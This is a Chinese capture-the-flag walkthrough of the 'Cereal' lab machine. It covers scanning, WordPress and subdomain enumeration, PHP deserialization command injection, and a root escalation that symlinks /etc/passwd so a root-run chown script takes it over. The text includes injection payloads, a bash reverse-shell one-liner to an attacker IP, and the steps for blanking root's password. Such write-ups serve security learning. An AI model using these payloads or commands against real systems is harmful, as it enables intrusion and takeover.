Cereal靶机wp

主机发现

nmap -sP 192.168.159.0/24

目标主机IP地址为:192.168.159.168


端口扫描

nmap -sV -p- -A 192.168.159.168

在这里插入图片描述

开放端口为:21、22、80、139、445、3306、44441(web)


21端口

可以匿名登陆,但是没有有用信息

在这里插入图片描述

现有漏洞库也只有一个拒绝服务,没啥用

在这里插入图片描述


80端口

目录扫描(gobuster)
gobuster dir -u http://192.168.159.168 \                     
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
-x php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak,zip,zip.bak

在这里插入图片描述


发现两个页面,访问,发现blog页面没有css加载,猜测可能要域名,查看网页源码,发现域名

在这里插入图片描述

cereal.ctf


将域名写入本地hosts文件,再次访问,发现是 wrodpress 网站

在这里插入图片描述

在这里插入图片描述


wordpress

利用wpscan爆破用户名密码

wpscan --url http://cereal.ctf/blog -e	u

在这里插入图片描述

wpscan --url http://cereal.ctf/blog -e -U cereal -P /usr/share/wordlists/rockyou.txt

在这里插入图片描述

跑了20mins没跑出来(虚拟机里性能确实不行。。。)想上网看看其他人跑出来的密码,结果发现这个方法跑不出密码。。。换法子了


子域名
wfuzz -H 'HOST: FUZZ.cereal.ctf' -u 'http://192.168.159.168' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hw 45,20787

在这里插入图片描述

没有子域名。。。


44441端口(web)

目录扫描
dirsearch -u cereal.ctf:44441 

在这里插入图片描述

啥都没。。。


子域名
wfuzz -H 'HOST: FUZZ.cereal.ctf:44441' -u 'http://192.168.159.168:44441' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hw 2,45

在这里插入图片描述

找到一个子域名:secure


加到本地hosts文件后访问

在这里插入图片描述

在这里插入图片描述


命令执行

在这个网页尝试命令执行,但我知道的姿势全都不行,页面没有返回。。。

127.0.0.1 | pwd
127.0.0.1 & pwd
127.0.0.1;pwd

在这里插入图片描述


抓包看返回信息,好像有个序列化的东西,但我看不懂,决定继续往下

在这里插入图片描述


目录扫描

在这里插入图片描述

login页面还是会返回当前ping页面

php.js页面发现序列化源码

在这里插入图片描述


反序列化

代码中给出了序列化的样式实例,我们可以根据它构造出我们想要的代码

在这里插入图片描述


然后先对页面进行正常访问抓包,看看这个参数放到哪里

在这里插入图片描述

可以看到是一串url编码字符,将其解码:
在这里插入图片描述


把我们构造好的代码编码,替换,发送

{s:9:“ipAddress”;s:16:“127.0.0.1;whoami”;}

在这里插入图片描述

无效,没有返回。。。

做到这里我实在不知道咋做了,感觉很对,但没有返回就很迷。。。

上网搜了下大佬们的wp,发现是我的字典不太行,还有个目录没扫到。。。

/back_en/


重新目录扫描,扫/back_en/下的文件

dirsearch -u http://secure.cereal.ctf:44441/back_en/

在这里插入图片描述


发现一个备份网页,访问,发现该页面有一段php代码,其中某段代码对 IP 地址进行了过滤操作:

filter_var(x,FILTER_VALIDATE_IP)函数过滤了非IP地址,若 x 不是IP地址,则返回False

if (!$this->isValid) {
	if (filter_var($this->ipAddress, FILTER_VALIDATE_IP)){
		$this->isValid = True;}}
$this->ping();

但是在代码中存在一个 bug ,那就是如果 isValid 这个参数为 True,则不进行验证,也就是说我们可以构造序列化字符,将 isValid 参数置为 True

构造的序列化字符串如下:

O:8:“pingTest”:2:{s:9:“ipAddress”;s:16:“127.0.0.1|whoami”;s:7:“isValid”;s:4:“True”;}

进行url编码后发送,成功执行whoami命令!

在这里插入图片描述

反弹shell
bash -c 'bash -i >& /dev/tcp/192.168.159.131/7777 0>&1'

序列化字符如下:

O:8:“pingTest”:2:{s:9:“ipAddress”;s:65:“127.0.0.1|bash -c ‘bash -i >& /dev/tcp/192.168.159.131/7777 0>&1’”;s:7:“isValid”;s:4:“True”;}

编码后发送,同时本地开启端口监听:

在这里插入图片描述

成功获得shell

在这里插入图片描述

提权

situid
find / -perm -u=s -type f 2>/dev/null

发现一个可以提权的程序(CVE-2021-4034),这次换思路,具体利用参考 Corrosion2那期

在这里插入图片描述


计划任务
crontab -l
cat /etc/crontab

没有任何计划任务


信息收集

找了各个目录,文件之类的都没有获得什么有用信息


脚本
python -m SimpleHTTPServer 80
wget 192.168.159.131/pspy64
chmod +x pspy64
./pspy64

发现一个可疑文件

在这里插入图片描述


查看它的权限与内容

在这里插入图片描述

只有 root 用户可写,作用是将 /homerocky/public_html/下的所有文件属主改为 rocky,属组改为 apache


软链接

软链接相当于 windows 中的快捷方式

当一个文件是另一个文件的软链接时(例如:A 是 B 文件的软链接,A 的根是 B),当我们修改这个文件的属主属组时(A),改的并不是这个文件的,而是它所链接的源文件(B)

通过信息收集,我们发现 /etc/passwd 文件可以被它的属主属组修改,所以准备通过软链接以及 chown.sh 修改它的属主属组

在这里插入图片描述

ln -s /etc/passwd /home/rocky/public_html/passwd

在这里插入图片描述


chown.sh 脚本运行后 /etc/passwd 文件属主属组成功被修改

在这里插入图片描述


修改/etc/passwd

在修改该文件时,发现符号会出现混乱,所以决定将该文件复制到到本地修改后上传覆盖

# 先将该文件放到web 目录下,方便下载
cd /var/www/html/blog
cp /etc/passwd .

# 本机下载
wget http://cereal.ctf/blog/passwd

修改该文件后上传(root密码置为空)

在这里插入图片描述


wget 192.168.159.131/passwd
cp passwd /etc/passwd

在这里插入图片描述


su

在这里插入图片描述

成功获取root权限!

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值